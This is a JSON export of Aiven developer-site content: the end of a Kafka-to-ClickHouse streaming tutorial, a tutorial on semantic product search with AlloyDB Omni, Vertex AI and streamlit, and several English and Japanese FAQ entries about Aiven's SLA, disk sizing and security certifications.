certificates:\n\n```shell\nbootstrap.servers=demo-kafka.my-demo-project.aivencloud.com:17072\nsecurity.protocol=ssl\nssl.key.location=service.key\nssl.certificate.location=service.cert\nssl.ca.location=ca.pem\n```\nYou can learn more about getting started with [kcat and Aiven here](https://aiven.io/docs/products/kafka/howto/kcat).\n\nOnce you’ve set up the `kcat.config`, next to it create a new file called `stream_sensor_data.sh`. This script will generate test data and send it to a Kafka topic:\n\n```shell\n#!/bin/bash\n\n# Kafka topic name\nTOPIC=\"sensor_readings\"\n\n# Number of messages to send\nNUM_MESSAGES=10\n\n# Function to generate random sensor readings\ngenerate_sensor_data() {\n    local SENSOR_ID=\"s$((RANDOM % 5 + 1))\" # Generate sensor IDs like s1, s2, ..., s5\n    local TEMPERATURE=$(awk -v min=15 -v max=30 'BEGIN{srand(); printf \"%.1f\", min+rand()*(max-min)}') # Random temperature 15-30\n    local HUMIDITY=$((RANDOM % 41 + 60)) # Random humidity 60-100\n    local TIMESTAMP=$(date +%s) # Current Unix timestamp\n    echo \"{\\\"sensor_id\\\": \\\"$SENSOR_ID\\\", \\\"temperature\\\": $TEMPERATURE, \\\"humidity\\\": $HUMIDITY, \\\"timestamp\\\": \\\"$TIMESTAMP\\\"}\"\n}\n\n# Stream test data to Kafka topic\nfor ((i = 1; i \u003c= NUM_MESSAGES; i++)); do\n    DATA=$(generate_sensor_data)\n    echo \"Sending: $DATA\"\n    echo \"$DATA\" | kcat -F kcat.config -t $TOPIC -P\n    sleep 1 # Optional: pause between messages\ndone\n\necho \"Finished streaming $NUM_MESSAGES messages to topic '$TOPIC'.\"\n```\n\nIf you enable [Apache Kafka REST API](https://aiven.io/docs/products/kafka/concepts/kafka-rest-api) you can fetch messages as they arrive in the topic:\n![read-kafka-messages.png](https://cdn.sanity.io/images/sczeoy4w/production/bb39f920639e674ef71a6095584e937d6e713b56-1528x1150.png)\n\n## Step 3. Create a table in ClickHouse\n\nTo add a new table in ClickHouse, simply run an SQL query in the `Query Editor` found on the service page of your Aiven for ClickHouse.\n```shell\nCREATE TABLE sensor_readings (\nsensor_id String,\ntemperature Float32,\nhumidity UInt8,\ntimestamp DateTime\n)\nENGINE = MergeTree\nORDER BY (sensor_id, timestamp);\n```\n\n![create-table.png](https://cdn.sanity.io/images/sczeoy4w/production/7d683f19b6ede5a4f804c38c6dcff00a07202389-2978x1100.png)\n\n## Step 4. Sink the data from Apache Kafka to ClickHouse\n\nNow it’s time to set up a connector to sink data from your Apache Kafka topic into the ClickHouse table. You can do this using either the Aiven CLI or the Aiven Console. In this article, we’ll use the Aiven Console, but you can find detailed instructions for the CLI [in our documentation](https://aiven.io/docs/products/kafka/kafka-connect/howto/clickhouse-sink-connector).\n\nTo get started, go to the **Connectors** page in your Aiven for Apache Kafka service and click to create a new connector. From the list, select the **ClickHouse Connector**. Then, edit the connector configuration in JSON format and add the following information::\n\n```shell\n{\n    \"hostname\": \"YOUR_CLICKHOUSE_HOSTNAME\",\n    \"name\": \"clickhouse_sink_connector\",\n    \"port\": \"YOUR_CLICKHOUSE_PORT\",\n    \"connector.class\": \"com.clickhouse.kafka.connect.ClickHouseSinkConnector\",\n    \"database\": \"default\",\n    \"tasks.max\": \"1\",\n    \"username\": \"YOUR_CLICKHOUSE_USERNAME\",\n    \"password\": \"YOUR_CLICKHOUSE_PASSWORD\",\n    \"ssl\": \"true\",\n    \"topics\": \"sensor_readings\"\n}\n```\n\n![add-connector.png](https://cdn.sanity.io/images/sczeoy4w/production/479a138ad118be8522b87c66a968ed850967e657-1770x900.png)\n\nBe sure to update the configuration with your ClickHouse connection details. You can find these values under the **ClickHouse HTTPS \u0026 JDBC** tab.\n\nWhen you’re ready, click **Apply** and wait for the connector to start. If you encounter any issues, a stack trace will be available to help you troubleshoot.\n\nOnce the connector is up and running, you can verify the data in your ClickHouse table:\n\n```shell\nSELECT * FROM sensor_readings LIMIT 10\n```\n![read-table-data.png](https://cdn.sanity.io/images/sczeoy4w/production/be8192ec1b69637b0b9aef02e57dba78b0cfe978-2456x642.png)\n\n\n## Get the best from the ClickHouse Kafka sink connector\n\nWhen using the ClickHouse Kafka sink connector, there are a few important points to keep in mind for optimal performance.\n\n### Apache Kafka connect deployment\n\nWhile you can run Apache Kafka Connect as part of your existing Aiven for Apache Kafka service for simplicity, this approach comes with certain performance trade-offs. For production workloads, it’s recommended to use a standalone Apache Kafka Connect service.\nThe Aiven platform allows you to enable a standalone Apache Kafka Connect service, providing the following advantages:\n\n- Independent scaling of your Apache Kafka and Kafka Connect services.\n- Enhanced resource allocation with additional CPU time and memory for the Kafka Connect service.\n\nThis setup will give you better performance and flexibility, particularly for demanding production environments.\n\n### Optimizing data ingestion into ClickHouse\n\nClickHouse's MergeTree engine is designed to perform best when data is ingested in larger batches. Ingesting individual records can slow down the merging process and create potential bottlenecks.\n\nTo optimize batch sizes and improve throughput, consider fine-tuning the following Kafka connector settings:\n\n- fetch.min.bytes: Minimum amount of data to fetch in a single poll.\n- fetch.max.bytes: Maximum amount of data to fetch in a single poll.\n- max.poll.records: Maximum number of records returned per poll.\n\nThese settings help ensure efficient data ingestion and smoother operation of the MergeTree engine.","feature":{"_type":"featuredItem","active":false,"endDate":"2024-11-30T10:38:45.820Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-11-23T10:35:51.838Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Stream data from Apache Kafka® to ClickHouse® for real-time analytics","asset":{"_ref":"image-cc608654c99125699f4fb6547d837e2f0aa13df5-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/stream-data-from-apache-kafkar-to-clickhouser-for-real-time-analytics"},"subtitle":"Learn how to create a ClickHouse sink connector for Apache Kafka® with Aiven platform","tags":[{"_key":"07a69f8c51cd","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"5f3c64f50f80","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"}],"title":"Stream data from Apache Kafka® to ClickHouse® for real-time analytics"}
{"__i18n_lang":"en","_createdAt":"2024-10-08T10:15:23Z","_id":"af805c2e-da3b-48e5-888b-d3103b039b5b","_rev":"0h6e4MYEG0xbOjLBGGmRHW","_type":"devArticle","_updatedAt":"2024-11-28T13:08:06Z","body":"Semantic product search enables users to retrieve results based on the meaning of a sentence rather than the literal words contained in it. It's a great option for allowing users to discover products in a catalog by describing what they want to find, instead of having to guess the exact words used in the product description.\n\nThis tutorial walks you through how to perform semantic product search using Aiven for AlloyDB Omni and its native integration with AI tooling.\nThe embedding calculation, needed for the semantic search, will be done using the VertexAI `textembedding-gecko` model. The front-end will be developed with a [streamlit](https://streamlit.io/) application, used to display the search and insert functionalities in a webpage.\n\n\n\n## Create an Aiven for AlloyDB Omni service and enable the AI integration\n\nThe first step in the tutorial is to create an [Aiven for AlloyDB Omni](https://aiven.io/alloydb-omni) service. You can create an instance in Google Cloud, AWS or Azure, giving you the maximum flexibility of cloud deployment. \n\n![Create an Aiven for AlloyDB Omni service in the Aiven Console](https://cdn.sanity.io/images/sczeoy4w/production/c11d4cfcc9658f88a9949c9371920481a0a8fcb1-1464x824.png)\n\nYou can review all the steps required to create the Aiven for AlloyDB Omni service in the dedicated [Get Started](https://aiven.io/docs/products/alloydbomni/get-started) page.\n\nOnce the service is up and running, connect to it with [psql](https://aiven.io/docs/products/postgresql/howto/connect-psql) using the **Service URI** you can find in the service page of the [Aiven Console](console.aiven.io/).\n\n```bash\npsql [SERVICE_URI]\n```\n\nAfter connecting, enable the `google_ml_integration` and `vector` extensions with:\n\n```sql\nCREATE EXTENSION IF NOT EXISTS google_ml_integration;\nCREATE EXTENSION IF NOT EXISTS vector;\n```\n\n###  Define the Google credentials for the Vertex AI integration\n\nWith the extensions enabled, it's time to upload the Google service account key to be used for the Vertex AI connection. \n\n\u003c!-- Is this the best place for this note? Basically we need to point out that they're going to need a servic account to use the Vertex AI service--\u003e\n::alert[If you don't already have a Google Cloud service account, follow the instructions at [Create service accounts](https://cloud.google.com/iam/docs/service-accounts-create).]\n\nIn the [Aiven Console](console.aiven.io/), navigate to the Aiven for AlloyDB Omni service created above and click on the **Generative AI** tab. There you can find the **Google service account key** section where you need to upload the Google credentials.\n\n![Google Service Account Key](https://cdn.sanity.io/images/sczeoy4w/production/e791cb16ed9d837d7e4e1f74536dace06584437b-1422x477.png)\n\nYou can find more information about how to retrieve the key in the dedicated [Manage Google credential](https://aiven.io/docs/products/alloydbomni/manage-credentials) page.\n\n### Register the Vertex AI model \n\nWith the configuration in place, you now can register the model in Aiven for AlloyDB Omni. You can do it by executing the following SQL:\n\n```sql\nCALL\n  google_ml.create_model(\n    model_id =\u003e 'textembedding-gecko@001',\n    model_provider =\u003e 'google',\n    model_qualified_name =\u003e 'textembedding-gecko@001',\n    model_type =\u003e 'text_embedding',\n    model_auth_type =\u003e 'alloydb_service_agent_iam');\n```\n\nThe above call registers the model and uses the authentication key defined in the previous step.\n\n## Create the data structures and upload the data\n\nWith the integration in place, you can then connect to Aiven for AlloyDB Omni and create the following table to store the product inventory.\n\n```sql\nCREATE TABLE PRODUCT (\n    ID SERIAL,\n    URL TEXT, \n    TITLE TEXT, \n    IMAGES TEXT,\n    DESCRIPTION TEXT,\n    PRODUCT_ID bigint,\n    SKU bigint,\n    GTIN bigint,\n    BRAND TEXT,\n    PRICE decimal,\n    CURRENCY TEXT,\n    AVAILABILITY TEXT, \n    UNIQ_ID TEXT,\n    SCRAPED_AT TEXT,\n    EMB REAL[768]);\n```\n\nThe above table, called `PRODUCTS` contains a set of fields defining the product like `ID`, `TITLE`, `DESCRIPTION`, `PRICE` and `IMAGES` containing a set of product images delimited by `~`. \nIt also contains a column `EMB` where you'll store the embeddings that will be calculated on the `DESCRIPTION` field using Vertex AI `textembedding-gecko` model.\n\nYou can either populate the data yourself, or, for example, use the [Home Depot dataset from data.world](https://data.world/crawlfeeds/the-home-depot-dataset). If you chose the latter, you can upload the products in the table with:\n\n```sql\n\\copy PRODUCT (URL, TITLE, IMAGES, DESCRIPTION, PRODUCT_ID, SKU, GTIN,\n  BRAND, PRICE, CURRENCY, AVAILABILITY, UNIQ_ID, SCRAPED_AT)\nFROM 'home_depot_data_1_2021_12.csv' DELIMITER ',' quote '\"'  HEADER csv;\n```\n\nPlease note, that the `home_depot_data_1_2021_12.csv` file needs to be in the same folder where `psql` has been launched, or you will need to specify full path to the file.\n\n## Calculate embeddings for the existing data\n\nThe `\\copy` command executed in the previous step populated all the columns apart from the `EMB` embedding column. To populate that you need to call the VertexAI `textembedding-gecko` model and retrieve the embeddings. This operation is not possible in standard PostgreSQL®, but AlloyDB Omni makes it available using the `google_ml_integration` extension you enabled earlier.\n\nTo get a sense of how to call the extension you can execute the following:\n\n```sql\nSELECT google_ml.embedding(model_id =\u003e 'textembedding-gecko@001', content=\u003e 'Indoor lamp');\n```\n\nThe above calls Vertex AI `textembedding-gecko` version `001` passing the content `Indoor lamp` and retrieving the embeddings.\nThe result will be an array of 768 numbers (exactly the size of the `EMB` array defined above), representing the prase `Indoor lamp`.\n\nYou can then use the same function to update the `EMB` column in `PRODUCT` table with:\n\n```sql\nUPDATE PRODUCT set EMB = google_ml.embedding(model_id =\u003e 'textembedding-gecko@001', content=\u003e DESCRIPTION);\n```\n\nAfter running the above, you will have the `EMB` column populated with the embeddings representing the `DESCRIPTION` column.\n\n## Create a trigger to automatically calculate the embeddings in incoming data\n\nYou backfilled the `EMP` column for previously inserted data. What about handling newly inserted rows? For this you can create a trigger that, on every `INSERT`, calls VertexAI, retrieves the embeddings and stores them in the `EMP` column.\n\nThe first step to achieve this is to create a function to calculate the embeddings:\n\n```sql\nCREATE OR REPLACE FUNCTION embedding_trigger()\n   RETURNS TRIGGER\n   LANGUAGE PLPGSQL\nAS\n$$\nBEGIN\n   NEW.EMB = calculate_embeddings(NEW.description);\n   RETURN NEW;\nEND;\n$$;\n```\n\nAnd then create a trigger to execute the function on every `INSERT` (you could similarly do the same for `UPDATE`s).\n\n```sql\nCREATE TRIGGER product_update_emb\n    BEFORE INSERT ON product FOR EACH ROW\n    EXECUTE PROCEDURE embedding_trigger();\n```\n\nIf you now insert a new item in the `PRODUCT` table, the `EMB` column will be automatically populated. For instance:\n\n```sql\nINSERT INTO PRODUCT (TITLE, DESCRIPTION) VALUES ('New Lamp', 'New Lamp Description');\n```\n\n\n## Perform semantic vector search\n\nThe next step is to perform semantic vector search, based on an input text. Let's assume the user made a query with the text `Indoor Lamp`.\n\nYou can retrieve the closest 10 items in the inventory with the following query:\n\n```sql\nSELECT \n    title, \n    substr(description, 0, 100) description,\n    price\n    FROM product \n    ORDER by EMB::vector \u003c-\u003e google_ml.embedding(model_id =\u003e 'textembedding-gecko@001', content=\u003e 'Indoor Lamp')::vector \n    LIMIT 10;\n```\n\nIn the above:\n\n* You are retrieving the `title`, the first 100 characters of the `description` and the price\n* The `order by EMB::vector \u003c-\u003e google_ml.embedding` performs a vector search. To learn more about vector search and optimization, look at the article [Speed up PostgreSQL pgvector queries](https://aiven.io/developer/postgresql-pgvector-indexes).\n\nThe results are:\n\n```text\n                               title                               |                                             description                                             | price\n-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------+--------\n New lamp                                                          | My new beautiful lamp                                                                               |  150.0\n Galvan 19 in. White LED Task Table Lamp                           | Design meets functionality in this Galvan table lamp. Perfect for task lighting, the lamp offers th |  25.55\n 15 in. Chandra Ivory Ceramic Table Lamp                           | Inspired by the soft elegance of a cottage along the coast, this contemporary table lamp adds a tou |  28.84\n 2-Light Iron Black Bath Light                                     | This attractive bath light will look so wonderful inside your home. It features a beautiful iron bl | 119.99\n Jane 26 in. Glass Table Lamp, Clear                               | Originally an icon of rustic charm, the French demijohn shape gets a modern update in sleek, clear  |  62.56\n Kayden 25. 5 in. Navy Blue Table Lamp with White Shade            | Give your decor the perfect finishing touch with this Kayden Table Lamp. Pleated navy blue ceramic  |  69.41\n New Lamp                                                          | New Lamp Description                                                                                |\n Polo 1-Light Brushed Nickel Pendant                               | The POLO pendant will light up your home with a retro industrial style. Featuring a wide bowl shade | 120.75\n Hanging Globe 1-Light Satin Aluminum Pendant                      | The Sea Gull Lighting Hanging Globe 1-light indoor pendant in antique brass is the perfect way to a |  82.37\n Happy Hedgehog 21.5 in. White, White Wash, Gray Accent Table Lamp | An adorable option for a child's room or nursery, this table lamp features a little hedgehog as the |  57.18\n(10 rows)\n```\n\n## Create a Web UI with streamlit\n\nThe last piece of the solution is to create a Web UI enabling users to perform semantic search and operators to add products to the inventory. \n\nTo showcase the functionality, you can build an app using [streamlit](https://streamlit.io/) with two pages, one dedicated to **Search** and one to **Add** items to the inventory.\n\n::alert[The example presented here is an oversimplified prototype, not requiring any security login. For production workloads we strongly suggest you implement additional security layers.]{title=\"Warning\" type=\"warning\"}\n\nAfter [installing streamlit](https://docs.streamlit.io/get-started/installation0), you will need to create a main project folder, called `demo-app`. Within that folder create:\n\n* A `requirements.txt` file listing all the packages need for the applications, which are the following\n\n    ```text\n    psycopg2-binary\n    sqlalchemy\n    google\n    streamlit\n    streamlit-aggrid\n    ```\n\n* A `secrets.toml` containing the connection secrets to Aiven for AlloyDB Omni. Replace `[HOSTNAME]`, `[PORT]`, `[USER]`, `[PASSWORD]` with the details you can find in the [Aiven Console](console.aiven.io/):\n\n    \u003c!-- using `toml` as the text type added newlines after the `[` and before the `]` - presumably some confusion with arrays. So just using `text` --\u003e\n    ```text\n    [connections.postgresql]\n    dialect = \"postgresql\"\n    host = \"[HOSTNAME]\"\n    port = \"[PORT]\"\n    database = \"defaultdb\"\n    username = \"[USER]\"\n    password = \"[PASSWORD]\"\n    ```\n\n### Create the semantic search page\n\nTo provide the semantic search functionality, create a page called `Search.py` with the following content:\n\n```python\nimport streamlit as st\n\nst.set_page_config(layout=\"wide\")\n\n# Initialize connection.\nconn = st.connection(\"postgresql\", type=\"sql\")\n\ndef search_in_db(query):\n\n    df = conn.query('''\n        SELECT \n        CASE WHEN position('~' IN images) = 0 \n            THEN Images \n            ELSE\n                substr(images, 0, position('~' IN images)) \n        END IMG_URL,\n        title,\n        price, \n        substr(description, 0, 100) description\n        FROM product \n        order by EMB::vector \u003c-\u003e google_ml.embedding(model_id =\u003e 'textembedding-gecko@001', content=\u003e :query)::vector \n        limit 10''', params=query, ttl=10)\n\n    st.data_editor(\n        df,\n        column_config={\"img_url\": st.column_config.ImageColumn(\n            \"Image\", help=\"item preview\", width=\"80px\"\n        )})\n    \nst.header(\"Semantic Product Search\")\n\ncol1, col2 = st.columns([6,1])\nwith col1:\n    st.write(\"Powered by Aiven for AlloyDB Omni\")\nwith col2:\n    st.image(\"https://aiven.shop/cdn/shop/files/aiven-logo_RGB.png\", width=100)\n\nform = st.form(key=\"match\")\nwith form:\n    query_str = st.text_input(\"Find Product\")\n    submit = st.form_submit_button(\"Search\")\n    if submit:\n        search_in_db({\"query\":query_str})\n```\n\nPlease note:\n\n* The SQL query retrieves the first image from the `IMAGES` column (separated by `~`), alongside the title, price and truncated description. It's using the same syntax to perform embedding calculation and vector search that we defined in the previous section.\n* The `query_str` is collected in the form and passed to the `search_in_db` function\n\nYou can now run the application with:\n\n```bash\nstreamlit run Search.py\n```\n\nThe above command opens a new webpage where you can browse the inventory. Searching for `knobs round` will likely show you the following results:\n\n![Search result for round knobs](https://cdn.sanity.io/images/sczeoy4w/production/a5123abc7d18922d14a51c047f9cc95aaeff7ea9-1467x669.png)\n\n\n### Create the add items page\n\nSimilarly we can create a page to add items to the inventory. To do so, create a folder called `pages` and, within it, a new file named `Add.py` with the following content:\n\n```python\nimport streamlit as st\nfrom sqlalchemy.sql import text\n\nst.set_page_config(layout=\"wide\")\n\nconn = st.connection(\"postgresql\", type=\"sql\")\n\nst.header(\"Add new product to Inventory\")\n\ncol1, col2 = st.columns([6,1])\nwith col1:\n    st.write(\"Powered by Aiven for AlloyDB Omni\")\nwith col2:\n    st.image(\"https://aiven.shop/cdn/shop/files/aiven-logo_RGB.png\", width=100)\n\nwith st.form(\"New Product\"):\n    st.write(\"Add a new product\")\n    my_title = st.text_input('Title')\n    my_description = st.text_input('Description')\n    my_price = st.number_input('Price')\n    my_image = st.text_input('Image Url') \n    submit_button = st.form_submit_button('Submit item')\n\n    if submit_button:\n        with conn.session as s:\n            try:\n                s.execute(\n                    text('INSERT INTO product (title, description, price, images) VALUES (:title, :description, :price, :image);'),\n                    params={\"title\": my_title, \"description\": my_description, \"price\": my_price, \"image\": my_image})\n                s.commit()\n            except Exception as e:\n                print(e)\n            finally:\n                st.write(\"Saved\")\n```\n\nApart from decorative code, the main page functionality is contained in a single statement:\n\n```python\ns.execute(\n    text('INSERT INTO product (title, description, price, images) VALUES (:title, :description, :price, :image);'),\n    params={\"title\": my_title, \"description\": my_description, \"price\": my_price, \"image\": my_image})\n```\n\nThis inserts the data into Aiven for AlloyDB Omni. Be careful to check that the insert only sets the `title`, `description`, `price` and `images` columns. The `EMB` column containing the embedding will automatically be populated by the trigger defined above.\n\nTo test the new page you just have to refresh the web page opened before, after which you should see a new tab called **Add**. Clicking on it will take you to the form enabling you to add items to the inventory. \n\n![Add item page](https://cdn.sanity.io/images/sczeoy4w/production/80c8a91cfe5323f3c92bb8f185a96f6e2aa692ea-1476x660.png)\n\nIt's time for testing now. Add items to the inventory and check if the semantic search results are influenced by the new products.\n\n## Conclusion\n\nSemantic search is rapidly becoming a must have for any web facing tools. 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The vector embeddings for the search will be generated using SQL that calls out to VertexAI. The streamlit front-end will show search and insert functionalities in a webpage.","tags":[{"_key":"d44100cafd53","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"0ec4210f9327","_ref":"39fd5db7-c38d-4c87-8ce2-408bd8a79253","_type":"tag"},{"_key":"b5226aa25508","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Semantic product search with Aiven for AlloyDB Omni"}
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{"__i18n_lang":"ja","_createdAt":"2022-10-26T15:43:29Z","_id":"0b77eaf5-e527-4e87-b5cf-f8162e087aee__i18n_ja","_rev":"IiYi5XVNmR5WYQ23CICfSt","_type":"faq","_updatedAt":"2022-12-23T08:52:37Z","id":"sla","panelText":[{"_key":"cece9349ec69","_type":"block","children":[{"_key":"aca4c336c57e","_type":"span","marks":[],"text":"当社のSLAは99.99%です。"},{"_key":"d82c286f8306","_type":"span","marks":["16244fd80123"],"text":"SLA（"},{"_key":"317b3a91de2a","_type":"span","marks":["4e2638e24e2c"],"text":"補償方法など）についてはこちらを"},{"_key":"313aac995007","_type":"span","marks":["16244fd80123"],"text":"ご覧ください"},{"_key":"6c280b61413c","_type":"span","marks":[],"text":"。"}],"markDefs":[{"_key":"4e2638e24e2c","_type":"internalLink","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"}},{"_key":"16244fd80123","_type":"internalLink","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"}}],"style":"normal"}],"title":"AivenのSLAとは?"}
{"__i18n_lang":"en","_createdAt":"2022-10-26T15:56:55Z","_id":"0e804db0-a866-4abd-827f-4958881bf05b","_rev":"m1sJAYlAKlzrK0MX0NRY8E","_type":"faq","_updatedAt":"2022-10-26T15:56:55Z","id":"dds","panelText":[{"_key":"6ca4d9e2c874","_type":"block","children":[{"_key":"5dd7ed962dd5","_type":"span","marks":[],"text":"Yes, with Aiven’s "},{"_key":"a8c0d24c67dc","_type":"span","marks":["eaf6cccd05f4"],"text":"Dynamic Disk Sizing"},{"_key":"d33355e0ab11","_type":"span","marks":[],"text":" you can freely adjust the disk space allocation for "},{"_key":"9a90fa1d292e","_type":"span","marks":["69d5a9406704"],"text":"Aiven for PostgreSQL"},{"_key":"d8574a4b8d15","_type":"span","marks":[],"text":", "},{"_key":"e99f6a892f4b","_type":"span","marks":["a5eec9cf0f3f"],"text":"Aiven for MySQL"},{"_key":"6d6e13bd925a","_type":"span","marks":[],"text":", "},{"_key":"b18d0329bc5d","_type":"span","marks":["e353588efefa"],"text":"Aiven for Apache Kafka"},{"_key":"4923aec73625","_type":"span","marks":[],"text":", "},{"_key":"b2e13c8ed216","_type":"span","marks":["44c022d1996c"],"text":"Aiven for Cassandra"},{"_key":"53058664cba3","_type":"span","marks":[],"text":", "},{"_key":"fbcaa7771e90","_type":"span","marks":["e98377ff3651"],"text":"Aiven for M3"},{"_key":"99ccebfa67e8","_type":"span","marks":[],"text":" and "},{"_key":"7dbc97390c34","_type":"span","marks":["384bf3706b74"],"text":"Aiven for OpenSearch"},{"_key":"642993bac389","_type":"span","marks":[],"text":" plans. Adjust the amount of disk space you use in the Aiven Console. You can go all the way up to three times the amount defined in your plan. The price of the additional storage also covers the additional backup storage needed to handle the increased disk size."}],"markDefs":[{"_key":"eaf6cccd05f4","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/dynamic-disk-sizing"},{"_key":"69d5a9406704","_type":"internalLink","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"}},{"_key":"e353588efefa","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}},{"_key":"384bf3706b74","_type":"internalLink","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"}},{"_key":"a5eec9cf0f3f","_type":"internalLink","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"}},{"_key":"44c022d1996c","_type":"internalLink","internalLink":{"_ref":"abf871eb-d0d0-4396-8768-51db839c21d4","_type":"reference"}},{"_key":"e98377ff3651","_type":"internalLink","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef","_type":"reference"}}],"style":"normal"}],"title":"Can I add more disk space to my plan?"}
{"__i18n_lang":"ja","_createdAt":"2022-10-26T15:56:55Z","_id":"0e804db0-a866-4abd-827f-4958881bf05b__i18n_ja","_rev":"7zkUzK17nyKradHQJKR7eF","_type":"faq","_updatedAt":"2023-05-16T15:41:43Z","id":"dds","panelText":[{"_key":"6ca4d9e2c874","_type":"block","children":[{"_key":"5dd7ed962dd5","_type":"span","marks":[],"text":"Aivenの"},{"_key":"d8483aa889e6","_type":"span","marks":["73c7b4eae200"],"text":"Dynamic Disk Sizingでは、"},{"_key":"7838fbfa19f2","_type":"span","marks":["0e8077230645"],"text":"Aiven for PostgreSQL"},{"_key":"63014cab292d","_type":"span","marks":[],"text":"、"},{"_key":"564f3e2c9c8e","_type":"span","marks":["dde29325269e"],"text":"Aiven for MySQL"},{"_key":"0e05ab308af8","_type":"span","marks":[],"text":"、"},{"_key":"9eb94042e6c7","_type":"span","marks":["b3db02ad8687"],"text":"Aiven for Apache Kafka"},{"_key":"c43a35db803e","_type":"span","marks":[],"text":"、"},{"_key":"a5fdce8a39f6","_type":"span","marks":["9dcd3159a537"],"text":"Aiven for Cassandra"},{"_key":"862fe0c9d1f0","_type":"span","marks":[],"text":"、"},{"_key":"1bb765b7e0e1","_type":"span","marks":["f970109ca9ef"],"text":"Aiven for M3"},{"_key":"ccc4c1a6f1bf","_type":"span","marks":[],"text":"、"},{"_key":"ee3bd8e136af","_type":"span","marks":["1f71d97ceec3"],"text":"Aiven for OpenSearch"},{"_key":"4ab436d388e0","_type":"span","marks":[],"text":"プランのディスク容量の割り当てを自由に調節することが可能です。Aiven Consoleで使用するディスク容量を調整します。プランで定義されている容量の3倍まで増やすことができます。追加ストレージの価格には、増加したディスクサイズに対応するために必要な追加バックアップストレージも含まれます。"}],"markDefs":[{"_key":"73c7b4eae200","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/dynamic-disk-sizing"},{"_key":"0e8077230645","_type":"internalLink","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf__i18n_ja","_type":"reference"}},{"_key":"dde29325269e","_type":"internalLink","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2__i18n_ja","_type":"reference"}},{"_key":"b3db02ad8687","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5__i18n_ja","_type":"reference"}},{"_key":"9dcd3159a537","_type":"internalLink","internalLink":{"_ref":"abf871eb-d0d0-4396-8768-51db839c21d4__i18n_ja","_type":"reference"}},{"_key":"f970109ca9ef","_type":"internalLink","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef__i18n_ja","_type":"reference"}},{"_key":"1f71d97ceec3","_type":"internalLink","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"プランにディスク容量を追加することはできますか?"}
{"__i18n_lang":"en","_createdAt":"2023-01-18T15:52:32Z","_id":"4c91f07f-4290-4cd1-ba29-e87509e538f5","_rev":"THDGXgbtbTWNUZ8wxpX3ad","_type":"faq","_updatedAt":"2023-05-16T15:58:40Z","id":"security","panelText":[{"_key":"b0d652ba86cd","_type":"block","children":[{"_key":"10a9fb05333a0","_type":"span","marks":[],"text":"Aiven is committed to customers’ information "},{"_key":"41b8b2e087e0","_type":"span","marks":["2931b0a10b22"],"text":"security, privacy and compliance"},{"_key":"a6c99958d72d","_type":"span","marks":[],"text":" needs. Aiven demonstrates this with ISO 27001 certified Information Security and ISO 27701 certified Information Privacy Management Systems. Aiven is also ISAE 3000 (SOC2) audited and offers a more secure environment that is PCI-DSS and HIPAA compliant."}],"markDefs":[{"_key":"2931b0a10b22","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Is my data secure with Aiven?"}
{"__i18n_lang":"ja","_createdAt":"2023-01-18T15:52:32Z","_id":"4c91f07f-4290-4cd1-ba29-e87509e538f5__i18n_ja","_rev":"THDGXgbtbTWNUZ8wxpW5bb","_type":"faq","_updatedAt":"2023-05-16T15:56:43Z","id":"security","panelText":[{"_key":"ec5819816bf9","_type":"block","children":[{"_key":"113e3121a8210","_type":"span","marks":[],"text":"Aivenは、顧客の情報"},{"_key":"eee72b041f1c","_type":"span","marks":["9d5a2e014c01"],"text":"セキュリティ、プライバシー、およびコンプライアンス"},{"_key":"d091a0d15132","_type":"span","marks":[],"text":"の ニーズに対して取り組んでいます。Aivenは、ISO 27001認証の情報セキュリティとISO 27701認証の情報プライバシー管理システムでこれを実証しています。また、ISAE 3000（SOC2）監査を受けており、PCI-DSSやHIPAAに準拠したより安全な環境を提供します。"}],"markDefs":[{"_key":"9d5a2e014c01","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Aivenではデータは安全に保護されますか?"}
